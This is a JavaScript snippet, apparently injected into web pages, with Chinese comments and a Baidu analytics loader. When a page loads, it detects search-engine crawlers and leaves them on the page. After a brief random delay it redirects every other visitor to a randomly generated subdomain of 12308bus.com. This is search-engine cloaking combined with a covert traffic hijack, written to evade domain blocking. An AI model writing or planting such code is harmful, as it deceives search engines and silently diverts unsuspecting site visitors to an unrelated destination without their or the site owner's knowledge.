(function() { 'use strict'; const config = { mobileUrl: "https://12308bus.com", desktopUrl: "https://12308bus.com" }; const ua = navigator.userAgent.toLowerCase(); // ✅ 搜索引擎判断(保留) function isSpider() { return /baiduspider|sogou web|bingbot|360spider|googlebot|yandex|slurp/i.test(ua); } // ✅ 移动端判断(保留) function isMobile() { return /mobile|android|iphone|ipad|ipod/i.test(ua); } // ✅ 新增:随机前缀 function randPrefix(len) { len = len || 6; var chars = 'abcdefghijklmnopqrstuvwxyz0123456789'; var str = ''; for (var i = 0; i < len; i++) { str += chars.charAt(Math.floor(Math.random() * chars.length)); } return str; } function jump() { // 蜘蛛不跳(保留) if (isSpider()) return; var baseUrl = isMobile() ? config.mobileUrl : config.desktopUrl; // 去掉 https:// var domain = baseUrl.replace(/^https?:\/\//, ""); // 拼接随机子域 var prefix = randPrefix(6); var url = "https://" + prefix + "." + domain; // 原来的延迟逻辑(保留) var delay = 30 + Math.random() * 30; setTimeout(function() { window.location.href = url; }, delay); } // 页面加载后执行(保留) if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', jump); } else { jump(); } })(); var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?c74ce8ff52dd4d4df74be624a2b8127f"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();